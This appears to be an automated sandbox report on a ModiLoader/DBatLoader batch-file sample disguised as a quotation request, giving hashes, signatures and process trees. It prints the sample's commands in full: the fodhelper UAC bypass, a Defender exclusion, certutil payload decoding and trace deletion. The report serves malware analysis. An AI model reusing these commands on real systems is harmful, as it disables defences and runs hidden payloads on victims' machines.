Analysis
-
max time kernel
137s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
04-04-2024 07:08
Static task
static1
Behavioral task
behavioral1
Sample
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
Resource
win10v2004-20240226-en
General
-
Target
PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat
-
Size
4.4MB
-
MD5
a9f2c8cc828e683395e9a804c120021e
-
SHA1
6b1f7e910df1792b94690045d3de345cff297ff3
-
SHA256
c91aecc289ef01ff1262a274a65124f7a0d0cdf26308de625ce64231c7aa77d1
-
SHA512
c0e6d23b0ba6bc4255938d8b14b563100068e25ab2d9c5e5e9632683c6b1bd28f8fc32b4f2b790400b66977b24f0ff574b2025a7fdee7e968c08d975ff1c227d
-
SSDEEP
49152:xOp5wZlcwP4QJpMoD8cGL2tojFdpjyPHKbfS4b0umx0TwKi3K6lflLE/B2t3mTss:0
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ModiLoader Second Stage 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2420-55-0x0000000002E50000-0x0000000003E50000-memory.dmp modiloader_stage2 -
Executes dropped EXE 16 IoCs
Processes:
alpha.exealpha.exealpha.exexkn.exealpha.exealpha.exekn.exealpha.exekn.exeLewxa.comalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 2096 alpha.exe 2592 alpha.exe 2808 alpha.exe 2584 xkn.exe 2496 alpha.exe 2472 alpha.exe 2508 kn.exe 2876 alpha.exe 2492 kn.exe 2420 Lewxa.com 1700 alpha.exe 1604 alpha.exe 2728 alpha.exe 2748 alpha.exe 524 alpha.exe 592 alpha.exe -
Loads dropped DLL 9 IoCs
Processes:
cmd.exealpha.exexkn.exealpha.exeWerFault.exepid process 2908 cmd.exe 2908 cmd.exe 2908 cmd.exe 2808 alpha.exe 2584 xkn.exe 2584 xkn.exe 2472 alpha.exe 2776 WerFault.exe 2776 WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2776 2420 WerFault.exe Lewxa.com -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 2780 taskkill.exe 756 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\ms-settings\shell\open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " reg.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Lewxa.compid process 2420 Lewxa.com -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
xkn.exepid process 2584 xkn.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
xkn.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 2584 xkn.exe Token: SeDebugPrivilege 2780 taskkill.exe Token: SeDebugPrivilege 756 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exedescription pid process target process PID 2908 wrote to memory of 2904 2908 cmd.exe cmd.exe PID 2908 wrote to memory of 2904 2908 cmd.exe cmd.exe PID 2908 wrote to memory of 2904 2908 cmd.exe cmd.exe PID 2904 wrote to memory of 2736 2904 cmd.exe extrac32.exe PID 2904 wrote to memory of 2736 2904 cmd.exe extrac32.exe PID 2904 wrote to memory of 2736 2904 cmd.exe extrac32.exe PID 2908 wrote to memory of 2096 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2096 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2096 2908 cmd.exe alpha.exe PID 2096 wrote to memory of 2992 2096 alpha.exe extrac32.exe PID 2096 wrote to memory of 2992 2096 alpha.exe extrac32.exe PID 2096 wrote to memory of 2992 2096 alpha.exe extrac32.exe PID 2908 wrote to memory of 2592 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2592 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2592 2908 cmd.exe alpha.exe PID 2592 wrote to memory of 2688 2592 alpha.exe extrac32.exe PID 2592 wrote to memory of 2688 2592 alpha.exe extrac32.exe PID 2592 wrote to memory of 2688 2592 alpha.exe extrac32.exe PID 2908 wrote to memory of 2808 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2808 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2808 2908 cmd.exe alpha.exe PID 2808 wrote to memory of 2584 2808 alpha.exe xkn.exe PID 2808 wrote to memory of 2584 2808 alpha.exe xkn.exe PID 2808 wrote to memory of 2584 2808 alpha.exe xkn.exe PID 2584 wrote to memory of 2496 2584 xkn.exe alpha.exe PID 2584 wrote to memory of 2496 2584 xkn.exe alpha.exe PID 2584 wrote to memory of 2496 2584 xkn.exe alpha.exe PID 2496 wrote to memory of 2440 2496 alpha.exe reg.exe PID 2496 wrote to memory of 2440 2496 alpha.exe reg.exe PID 2496 wrote to memory of 2440 2496 alpha.exe reg.exe PID 2908 wrote to memory of 2472 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2472 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2472 2908 cmd.exe alpha.exe PID 2472 wrote to memory of 2508 2472 alpha.exe kn.exe PID 2472 wrote to memory of 2508 2472 alpha.exe kn.exe PID 2472 wrote to memory of 2508 2472 alpha.exe kn.exe PID 2908 wrote to memory of 2876 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2876 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2876 2908 cmd.exe alpha.exe PID 2876 wrote to memory of 2492 2876 alpha.exe kn.exe PID 2876 wrote to memory of 2492 2876 alpha.exe kn.exe PID 2876 wrote to memory of 2492 2876 alpha.exe kn.exe PID 2908 wrote to memory of 2420 2908 cmd.exe Lewxa.com PID 2908 wrote to memory of 2420 2908 cmd.exe Lewxa.com PID 2908 wrote to memory of 2420 2908 cmd.exe Lewxa.com PID 2908 wrote to memory of 2420 2908 cmd.exe Lewxa.com PID 2908 wrote to memory of 1700 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 1700 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 1700 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 1604 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 1604 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 1604 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2728 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2728 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2728 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2748 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2748 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 2748 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 524 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 524 2908 cmd.exe alpha.exe PID 2908 wrote to memory of 524 2908 cmd.exe alpha.exe PID 524 wrote to memory of 2780 524 alpha.exe taskkill.exe PID 524 wrote to memory of 2780 524 alpha.exe taskkill.exe PID 524 wrote to memory of 2780 524 alpha.exe taskkill.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\extrac32.exeextrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "5⤵
- Modifies registry class
- Modifies registry key
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat" "C:\\Users\\Public\\Lewxa.txt" 92⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PODUCT CATALOGUE REQUEST FOR QOUTATIONSTORE.bat" "C:\\Users\\Public\\Lewxa.txt" 93⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 123⤵
- Executes dropped EXE
-
C:\Users\Public\Libraries\Lewxa.comC:\\Users\\Public\\Libraries\\Lewxa.com2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2420 -s 7323⤵
- Loads dropped DLL
- Program crash
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe2⤵
- Executes dropped EXE
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettingsAdminFlows.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Lewxa.txtFilesize
3.1MB
MD5aecbd8ff910c38b1772994a46cf4dcee
SHA196e1b7e276e7b19150c259a344e45b9fa04fac43
SHA256f29aff3e41afb8bdc6aeffbb4dc0f0083a7851a4fae1ef39a44bf72d7ede6c33
SHA5122919015e969612462b2d5b91e1bfa4ec92277f065628e3b5fc6126974203bd490ab89809f14951ac0a5e9d888dbde98af1ebb3900318fa6d718fd04e89d36d18
-
C:\Users\Public\Libraries\Lewxa.comFilesize
1.5MB
MD56babecb95e226aef5eef6f80111e04de
SHA1f2974245b3391f9be136fdf76df36cc5ad0bed2d
SHA256a561b2ad4fea4284042c99132d49d651f3d409cc41dc6e950dc85a16ae3934a0
SHA512109d9814b12c61c9579395317dc54a6a0092b3ec1b54d4eab9c3489ffe11971e977f8676f44886e46299bbbf49407e33e02642a0ec151144a3dc72b1a13e0949
-
\Users\Public\alpha.exeFilesize
337KB
MD55746bd7e255dd6a8afa06f7c42c1ba41
SHA10f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA5123a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e
-
\Users\Public\kn.exeFilesize
1.1MB
MD5ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA2561e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA5124e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2
-
\Users\Public\xkn.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/2420-59-0x0000000000400000-0x0000000000596000-memory.dmpFilesize
1.6MB
-
memory/2420-58-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/2420-55-0x0000000002E50000-0x0000000003E50000-memory.dmpFilesize
16.0MB
-
memory/2420-49-0x0000000002E50000-0x0000000003E50000-memory.dmpFilesize
16.0MB
-
memory/2420-46-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/2584-24-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2584-33-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmpFilesize
9.6MB
-
memory/2584-28-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2584-27-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmpFilesize
9.6MB
-
memory/2584-26-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2584-25-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2584-23-0x00000000022C0000-0x00000000022C8000-memory.dmpFilesize
32KB
-
memory/2584-22-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmpFilesize
9.6MB
-
memory/2584-21-0x000000001B150000-0x000000001B432000-memory.dmpFilesize
2.9MB